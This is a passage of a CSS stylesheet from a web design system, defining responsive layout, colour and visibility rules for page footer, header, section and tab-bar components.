text-align: right
}
@media only screen and (min-width: 1185px) {
.page-footer__section--large-align-center {
justify-content:center;
text-align: center
}
.page-footer__section--large-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__section--medium-align-center {
justify-content:center;
text-align: center
}
.page-footer__section--medium-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.page-footer__section--small-align-center {
justify-content:center;
text-align: center
}
.page-footer__section--small-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.page-footer__section--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-footer__section--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__section--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-footer__section--small-hidden {
display:none
}
}
.page-footer__section-item {
flex: 1 1 0%;
line-height: 1.5em;
margin-bottom: 32px;
overflow: hidden;
padding-left: 15px;
padding-right: 15px
}
.page-footer__section-item--align-center {
justify-content: center;
text-align: center
}
.page-footer__section-item--align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section-item--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.page-footer__section-item--large-align-center {
justify-content:center;
text-align: center
}
.page-footer__section-item--large-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section-item--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__section-item--medium-align-center {
justify-content:center;
text-align: center
}
.page-footer__section-item--medium-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section-item--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.page-footer__section-item--small-align-center {
justify-content:center;
text-align: center
}
.page-footer__section-item--small-align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section-item--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.page-footer__section-item--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-footer__section-item--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__section-item--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-footer__section-item--small-hidden {
display:none
}
.page-footer__section-item {
margin-bottom: 24px
}
}
.page-footer__section--last .page-footer__section-item {
margin-bottom: 0;
margin-top: 32px
}
@media only screen and (max-width: 666px) {
.page-footer__section--last .page-footer__section-item {
margin-top:16px
}
}
.page-footer__section--last:only-child .page-footer__section-item {
margin-top: 0
}
@media only screen and (max-width: 666px) {
.page-footer__section--last:only-child .page-footer__section-item {
margin-top:0
}
}
.page-footer__section-item>.page-footer__social--first {
margin-left: 0
}
.page-footer__section-item>.page-footer__social--last {
margin-right: 0
}
.page-footer__separator,.page-footer__seperator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin-bottom: 32px;
margin-top: 0
}
.page-footer__headline {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
line-height: 1.5em;
margin-bottom: 12px;
position: relative
}
@media only screen and (max-width: 666px) {
.page-footer__headline {
margin-bottom:8px
}
}
.page-footer__link-list>li {
display: flex;
height: 32px
}
.page-footer__link-list>li a {
cursor: pointer
}
.page-footer__link {
color: inherit;
display: inline-block;
padding: 8px 0;
text-decoration: none
}
@media only screen and (max-width: 666px) {
.page-footer__link {
padding:6px 0;
width: 100%
}
}
.page-footer__section--last .page-footer__link {
padding: 0;
width: auto
}
.page-footer__link:before {
font-size: 16px;
padding: 0 8px 4px 0;
width: 20px
}
.page-footer__status>a:hover,a.page-footer__link:hover {
color: var(--interactive-text-color,#1474c4);
text-decoration: underline
}
.page-footer__social {
display: inline-block;
margin: 0 8px 16px
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__social {
margin-right:4px
}
}
@media only screen and (max-width: 666px) {
.page-footer__social {
margin-bottom:8px
}
}
.page-footer__social path {
fill: var(--corporate-text-color,#0b2a63)
}
.page-footer__social:hover path {
fill: var(--interactive-shape-color,#1474c4)
}
.page-footer__link .svg-icon {
height: 18px;
padding: 0 6px 4px 0;
pointer-events: none;
vertical-align: middle;
width: 18px
}
.page-footer__link .svg-icon path {
fill: var(--default-text-color,#001b41)
}
.page-footer__link:hover .svg-icon path {
fill: var(--interactive-text-color,#1474c4)
}
.page-footer__appstore {
display: flex;
width: 151px
}
.page-footer__toggle {
font-size: var(--default-text-size,14px);
height: 20px;
position: absolute;
right: 28px;
text-align: right;
vertical-align: text-bottom;
width: 100%
}
.page-footer__toggle.toggle-link--collapsed:before {
content: "\E671"
}
.page-footer__toggle.toggle-link--expanded:before {
content: "\E670"
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.toggle-link__content--hidden {
display:inherit
}
}
@media only screen and (max-width: 666px) {
.toggle-link__content--hidden {
display:inherit
}
}
.page-footer__adzone {
margin-bottom: 8px;
max-width: 232px;
min-width: 216px;
width: 76%
}
.page-footer__adzone--full-width {
max-width: 100%;
width: 100%
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer__adzone {
max-width:216px;
min-width: 128px;
width: 100%
}
}
@media only screen and (max-width: 666px) {
.page-footer__adzone {
max-width:296px;
width: 48%
}
}
.page-footer__adzone .action-stripe__action {
margin-left: -11px;
padding-left: 0;
padding-right: 15px
}
.page-footer__adzone-link,.page-footer__adzone-link:hover {
color: inherit;
text-decoration: none
}
.page-footer__logo {
display: block;
height: 40px;
margin: 0 0 24px;
width: auto
}
.__has-left-navigation .page-footer__block {
padding-left: 300px
}
@media only screen and (max-width: 1184px) {
.__has-left-navigation .page-footer__block {
padding-left:32px
}
}
@media only screen and (min-width: 1185px) {
.oao-pi-flyin .page-footer__block {
padding-left:32px;
padding-right: 392px
}
}
@media only screen and (max-width: 666px) {
.page-footer__block {
padding:16px
}
.page-footer__section {
flex-direction: column
}
.page-footer__section-item--small-hidden {
display: none
}
.page-footer__separator,.page-footer__seperator {
margin: 16px
}
.headless-mode .page-footer {
display: none
}
}
.page-footer .link-list {
margin-bottom: 0
}
.page-footer .link,.page-footer .toggle-link {
color: var(--default-text-color,#001b41)
}
.page-header {
background: var(--default-background-color,#f4f7fa);
padding: 32px 32px 16px;
position: relative
}
.page-header:after {
clear: both;
content: "";
display: table
}
.page-header--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-header--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-header--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-header--small-hidden {
display:none
}
}
.page-header__block {
margin: 0 auto;
max-width: 1170px;
position: relative
}
.page-header--narrow .page-header__block {
max-width: 950px
}
.page-header--short .page-header__block {
max-width: 650px;
padding-right: 300px
}
.page-header--align-center .page-header__block {
text-align: center
}
.__has-left-navigation .page-header {
padding-left: 300px
}
.page-header__headline {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-regular,"OverpassRegular",arial,arial narrow,sans-serif);
font-size: var(--first-level-headline-size,32px);
font-weight: inherit;
line-height: var(--first-level-headline-line-height,1.25em);
margin-bottom: 16px;
word-break: break-word
}
.page-header__headline:last-child {
margin-bottom: 12px
}
@media only screen and (max-width: 666px) {
.page-header__headline:last-child {
margin-bottom:8px
}
}
.page-header__headline--exos-icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: .5em;
vertical-align: top
}
.page-header__headline--exos-icon.exos-icon--bright:before {
color: var(--white,#fff)
}
.page-header__headline--exos-icon.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.page-header__headline--exos-icon.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.page-header__headline--exos-icon.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.page-header__headline--exos-icon.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.page-header__headline--exos-icon.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.page-header__headline--break-all {
word-break: break-all
}
.page-header__headline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.page-header__headline--small-break-all {
word-break:break-all
}
.page-header__headline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-header__headline--medium-break-all {
word-break:break-all
}
.page-header__headline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.page-header__headline--large-break-all {
word-break:break-all
}
.page-header__headline--large-break-word {
word-break: break-word
}
}
.page-header__headline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.page-header__headline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-header__headline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.page-header__headline--large-nowrap {
white-space:nowrap
}
}
.page-header__headline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.page-header__headline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-header__headline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.page-header__headline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.page-header__headline--sub {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-headline-size,22px);
line-height: var(--second-level-headline-line-height,1.364em)
}
.page-header__headline+.page-header__headline--sub {
margin-top: -4px
}
.page-header__paragraph {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em);
margin-bottom: 16px;
margin-top: -8px
}
.page-header__back-button {
cursor: pointer;
outline: none;
text-decoration: none
}
.page-header__back-button:before {
color: var(--default-shape-color,#465a75);
content: "\E936";
display: inline-block;
float: left;
font-family: exos-icon-font,serif;
font-size: 22px;
line-height: 34px;
margin-left: -32px;
padding-right: 11px;
transition: margin-left .5s ease-out
}
.page-header__back-button:hover:before {
color: var(--corporate-text-color,#0b2a63)
}
.page-header__helpandlearn {
cursor: pointer;
display: inline-flex;
line-height: 1;
text-decoration: none;
transition: background-color .1s ease-out
}
.page-header__helpandlearn:before {
color: var(--default-shape-color,#465a75);
content: "";
font-family: exos-icon-font;
font-size: 24px;
font-style: normal;
font-weight: 400!important;
padding: 0 4px;
transition: color .1s ease-out;
vertical-align: top
}
.page-header__helpandlearn:hover:before {
color: var(--corporate-text-color,#0b2a63)
}
.page-header__icon {
color: var(--default-shape-color,#465a75);
line-height: 0;
padding-left: 12px;
position: relative;
text-decoration: none;
top: -3px;
vertical-align: middle
}
@media (max-width: 755px) {
.page-header--short .page-header__back-button:before {
margin-left:0;
transition: margin-left .5s ease-out
}
}
@media (min-width: 1160px) and (max-width:1330px) {
.__has-left-navigation .page-header--short .page-header__back-button:before {
margin-left:0;
transition: margin-left .5s ease-out
}
}
@media (max-width: 1053px) {
.page-header--narrow .page-header__back-button:before {
margin-left:0;
transition: margin-left .5s ease-out
}
}
@media (min-width: 1160px) and (max-width:1324px) {
.__has-left-navigation .page-header--narrow .page-header__back-button:before {
margin-left:0;
transition: margin-left .5s ease-out
}
}
@media (max-width: 1543px) {
.page-header:not(.page-header--short):not(.page-header--narrow) .page-header__back-button:before {
margin-left:0;
transition: margin-left .5s ease-out
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-header--short .page-header__block {
padding-right:0
}
}
@media only screen and (max-width: 666px) {
.page-header {
padding:16px 0 8px
}
.page-header__block {
max-width: inherit;
padding: 0 16px;
width: inherit
}
.page-header__block>:only-child {
margin-bottom: 0
}
.page-header--short .page-header__block {
padding-right: 16px
}
.page-header__headline {
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--first-level-mobile-headline-size,22px);
line-height: var(--first-level-mobile-headline-line-height,1.25em);
margin-bottom: 12px
}
.page-header__headline--sub {
font-size: var(--second-level-mobile-headline-size,16px);
line-height: var(--second-level-mobile-headline-line-height,1.25em)
}
.page-header__paragraph {
font-size: inherit
}
.page-header__back-button:before {
font-size: 18px;
line-height: 26px
}
.page-header__helpandlearn:before {
font-size: 16px;
line-height: 1.5em;
padding: 0 3.6px;
vertical-align: inherit
}
.headless-mode .page-header {
box-sizing: border-box;
padding-left: 0;
width: 100%;
z-index: 100
}
.headless-mode .page-header--static-overlay-effect {
padding: 28px 0
}
.headless-mode .page-header--headless-hidden {
display: none
}
.headless-mode .page-header__block {
box-sizing: border-box;
margin-bottom: 0;
overflow: hidden
}
.headless-mode .page-header--static-overlay-effect .page-header__block {
padding: 0 30px
}
.headless-mode .page-header__headline {
margin-bottom: 0;
margin-right: 28px;
overflow: hidden
}
.headless-mode .page-header__back-button,.headless-mode .page-header__paragraph {
display: none
}
.headless-mode .page-header__headline+.page-header__headline--sub {
margin-top: 12px
}
}
@media only screen {
.headless-mode .page-header__close {
cursor: pointer;
opacity: .5;
position: fixed;
right: 16px;
text-decoration: none;
top: 16px
}
.headless-mode .page-header__close:hover {
opacity: 1
}
.headless-mode .page-header__close:before {
color: var(--black,#000);
content: "\E67B";
font-family: exos-icon-font,serif;
font-size: 24px;
line-height: 1em
}
}
@media only screen and (max-width: 666px) {
.oao-pi-headless-flyin .page-header {
display:none
}
}
@media only screen {
.oao-pi-headless-overlay.oao-pi-size-large .page-header__headline {
display: none
}
}
@media only screen and (max-width: 1184px) {
.__has-left-navigation .page-header {
padding-left:32px
}
}
@media only screen and (min-width: 1185px) {
.oao-pi-flyin .page-header {
padding-left:32px;
padding-right: 392px
}
}
@media only screen and (max-width: 666px) {
.__has-left-navigation .page-header {
padding-left:0
}
}
.page-section {
background-color: var(--default-background-color,#f4f7fa);
margin-bottom: 0;
padding: 32px;
position: relative;
z-index: 2
}
.page-section:last-child {
padding-bottom: 64px
}
.page-section--advertising,.page-section--secondary {
z-index: 1
}
.page-section--advertising:last-child {
padding-bottom: 32px
}
.page-section--beta,.page-section--premium {
z-index: 1
}
.page-section--beta:last-child,.page-section--premium:last-child {
padding-bottom: 32px
}
.page-section--sticky {
background: var(--white,#fff);
border-bottom: 1px solid var(--default-shadow-color,#718095);
bottom: 0;
box-shadow: 0 -10px 8px -10px var(--default-shadow-color,#718095);
padding-bottom: 28px;
padding-top: 28px;
position: -webkit-sticky;
position: sticky;
z-index: 3
}
.page-section--sticky:last-child {
padding-bottom: 32px
}
.page-section--condensed {
padding-bottom: 8px;
padding-top: 7px
}
.page-section--cropped {
padding-bottom: 0;
padding-top: 0
}
.page-section--align-center {
justify-content: center;
text-align: center
}
.page-section--align-left {
justify-content: flex-start;
text-align: left
}
.page-section--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.page-section--large-align-center {
justify-content:center;
text-align: center
}
.page-section--large-align-left {
justify-content: flex-start;
text-align: left
}
.page-section--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-section--medium-align-center {
justify-content:center;
text-align: center
}
.page-section--medium-align-left {
justify-content: flex-start;
text-align: left
}
.page-section--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.page-section--small-align-center {
justify-content:center;
text-align: center
}
.page-section--small-align-left {
justify-content: flex-start;
text-align: left
}
.page-section--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.page-section--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-section--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-section--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-section--small-hidden {
display:none
}
}
.page-section--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.page-section--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-success:first-child {
border-radius:0
}
}
.page-section--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-success:last-child {
border-radius:0
}
}
.page-section--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-success:only-child {
border-radius:0
}
}
.page-section--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.page-section--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-warning:first-child {
border-radius:0
}
}
.page-section--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-warning:last-child {
border-radius:0
}
}
.page-section--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-warning:only-child {
border-radius:0
}
}
.page-section--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.page-section--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-critical:first-child {
border-radius:0
}
}
.page-section--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-critical:last-child {
border-radius:0
}
}
.page-section--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-critical:only-child {
border-radius:0
}
}
.page-section--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.page-section--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-neutral:first-child {
border-radius:0
}
}
.page-section--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-neutral:last-child {
border-radius:0
}
}
.page-section--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-neutral:only-child {
border-radius:0
}
}
.page-section--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.page-section--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-activating:first-child {
border-radius:0
}
}
.page-section--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-activating:last-child {
border-radius:0
}
}
.page-section--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-activating:only-child {
border-radius:0
}
}
.page-section--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.page-section--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-corporate:first-child {
border-radius:0
}
}
.page-section--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-corporate:last-child {
border-radius:0
}
}
.page-section--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-corporate:only-child {
border-radius:0
}
}
.page-section--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.page-section--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-promoting:first-child {
border-radius:0
}
}
.page-section--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-promoting:last-child {
border-radius:0
}
}
.page-section--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.page-section--semantic-bar-promoting:only-child {
border-radius:0
}
}
.page-section--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.page-section--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.page-section--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.page-section--primary {
background-color: var(--primary-background-color,#fff)
}
.page-section--secondary {
background-color: var(--secondary-background-color,#fff)
}
.page-section--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.page-section--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.page-section--advertising>.headline,.page-section--advertising>.paragraph {
color: var(--white,#fff)
}
.page-section--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.page-section--beta>.headline,.page-section--beta>.paragraph {
color: var(--white,#fff)
}
.page-section--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.page-section--premium>.headline,.page-section--premium>.paragraph {
color: var(--white,#fff)
}
.page-section--advertising+.page-section--advertising,.page-section--beta+.page-section--beta,.page-section--default+.page-section--default,.page-section--primary+.page-section--primary,.page-section--secondary+.page-section--secondary {
padding-top: 0
}
.page-section__block {
margin: 0 auto;
max-width: 1170px;
position: relative
}
.page-section__block:after {
clear: both;
content: "";
display: table
}
.page-section--narrow .page-section__block {
max-width: 950px
}
.page-section--short .page-section__block {
max-width: 650px;
padding-right: 300px
}
.page-section--short .page-section__block--align-center {
padding-right: 0
}
.page-section--actions .page-section__block,.page-section--actions .page-section__block:last-child {
margin-bottom: -12px
}
.page-section--actions .page-section__block .button,.page-section--actions .page-section__block .ghost-button,.page-section--actions .page-section__block .toggle-button {
margin-bottom: 12px;
vertical-align: bottom
}
.__has-left-navigation .page-section {
padding-left: 300px
}
.page-section__visual {
margin: -32px
}
.page-section__visual img {
height: auto;
vertical-align: top;
width: 100%
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-section--short .page-section__block {
padding-right:0
}
}
@media only screen and (max-width: 666px) {
.page-section {
padding:16px 0
}
.page-section:last-child {
padding-bottom: 32px
}
.page-section--advertising:last-child,.page-section--beta:last-child {
padding-bottom: 16px
}
.page-section__block {
max-width: 100%;
padding: 0 16px
}
.page-section--short .page-section__block {
padding-right: 16px
}
.page-section__paragraph--narrow {
padding-left: 0;
padding-right: 0;
width: 100%
}
.headless-mode .page-section {
margin-bottom: 0;
margin-top: 0;
padding-bottom: 16px;
padding-top: 16px
}
.headless-mode .page-section--beta {
display: none
}
.headless-mode .page-section--static-overlay-effect {
padding: 28px 0
}
.headless-mode .page-section--static-overlay-effect .page-section__block {
padding: 0 30px
}
.headless-mode .page-section--static-overlay-effect .sheet {
margin: -28px -30px 28px -28px;
padding: 12px
}
.headless-mode .page-section--static-overlay-effect .sheet:last-child {
margin-bottom: -28px
}
.headless-mode .page-section--headless-hidden {
display: none
}
.oao-pi-headless-flyin .page-section {
top: inherit
}
}
@media only screen and (max-width: 1184px) {
.__has-left-navigation .page-section {
padding-left:32px
}
}
@media only screen and (min-width: 1185px) {
.oao-pi-flyin .page-section {
padding-left:32px;
padding-right: 392px
}
}
.page-section--align-center .paragraph--narrow {
display: inline-block;
padding-left: 15%;
padding-right: 15%
}
@media only screen and (max-width: 666px) {
.page-section--align-center .paragraph--narrow {
padding-left:0;
padding-right: 0
}
}
.page-section:last-child,.page-section>:last-child,.page-section__block>:last-child {
margin-bottom: 0
}
.page-section__block>section {
margin-bottom: 24px
}
.page-section__block>section:last-child {
margin-bottom: 0
}
.page-section__block>.grid--cropped,.page-section__block>.grid--cropped:last-child {
margin-bottom: -24px
}
.page-section+.page-section {
padding-top: 0
}
@media only screen and (max-width: 666px) {
.page-section+.page-section {
padding-top:16px
}
}
.page-section+.page-section--advertising,.page-section+.page-section--beta,.page-section+.page-section--corporate-solid,.page-section+.page-section--neutral-solid,.page-section+.page-section--premium,.page-section+.page-section--primary,.page-section+.page-section--secondary,.page-section+.page-section--sticky,.page-section--advertising+.page-section,.page-section--beta+.page-section,.page-section--corporate-solid+.page-section,.page-section--neutral-solid+.page-section,.page-section--premium+.page-section,.page-section--primary+.page-section,.page-section--secondary+.page-section,.page-section--sticky+.page-section {
padding-top: 32px
}
@media only screen and (max-width: 666px) {
.page-section+.page-section--advertising,.page-section+.page-section--beta,.page-section+.page-section--corporate-solid,.page-section+.page-section--neutral-solid,.page-section+.page-section--premium,.page-section+.page-section--primary,.page-section+.page-section--secondary,.page-section+.page-section--sticky,.page-section--advertising+.page-section,.page-section--beta+.page-section,.page-section--corporate-solid+.page-section,.page-section--neutral-solid+.page-section,.page-section--premium+.page-section,.page-section--primary+.page-section,.page-section--secondary+.page-section,.page-section--sticky+.page-section {
padding-top:16px
}
}
.page-section--advertising+.page-section--advertising,.page-section--beta+.page-section--beta,.page-section--corporate-solid+.page-section--corporate-solid,.page-section--neutral-solid+.page-section--neutral-solid,.page-section--premium+.page-section--premium,.page-section--primary+.page-section--primary,.page-section--secondary+.page-section--secondary,.page-section--sticky+.page-section--sticky {
padding-top: 0
}
.page-header+.page-section {
padding-top: 12px
}
.page-header+.page-section--advertising,.page-header+.page-section--beta,.page-header+.page-section--corporate-solid,.page-header+.page-section--neutral-solid,.page-header+.page-section--premium,.page-header+.page-section--primary,.page-header+.page-section--secondary {
padding-top: 32px
}
@media only screen and (max-width: 666px) {
.page-header+.page-section,.page-header+.page-section--advertising,.page-header+.page-section--beta,.page-header+.page-section--corporate-solid,.page-header+.page-section--neutral-solid,.page-header+.page-section--premium,.page-header+.page-section--primary,.page-header+.page-section--secondary {
padding-top:16px
}
.page-section>:last-child,.page-section__block>:last-child {
margin-bottom: 0
}
.page-section__block>div.grid-12:last-child,.page-section__block>section.grid-12:last-child {
display: flow-root;
margin-bottom: -12px
}
.__has-left-navigation .page-section {
padding-left: 0
}
}
.page-tabbar {
background-color: var(--white,#fff);
border-bottom: var(--page-tabbar-bottom-border,1px solid #bcc8d4);
margin-bottom: 0;
padding: 0 32px;
position: relative;
transition: box-shadow .5s ease-out;
z-index: 3
}
.page-tabbar--secondary {
background-color: var(--default-background-color,#f4f7fa)
}
.page-tabbar--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-tabbar--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-tabbar--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-tabbar--small-hidden {
display:none
}
}
.__has-left-navigation .page-tabbar {
padding-left: 300px
}
.page-tabbar__block {
margin: 0 auto;
max-width: 1170px;
position: relative
}
.page-tabbar__block:after {
clear: both;
content: "";
display: table
}
.page-tabbar--narrow .page-tabbar__block {
max-width: 950px
}
.page-tabbar--short .page-tabbar__block {
max-width: 650px;
padding-right: 300px
}
.page-tabbar__item {
display: inline-block
}
.page-tabbar__item-link {
border-bottom: 3px solid transparent;
color: var(--default-text-color,#001b41);
display: block;
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
padding: 15px 15px 14px;
text-decoration: none;
transition: color .1s ease-out 0s,background-color .1s ease-out 0s,border-color .1s ease-out 0s;
white-space: nowrap
}
.page-tabbar__item-link--active,.page-tabbar__item-link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.page-tabbar__item-link--active {
cursor: inherit
}
@media only screen and (min-width: 1185px) {
.page-tabbar__item--align-right {
float:right
}
}
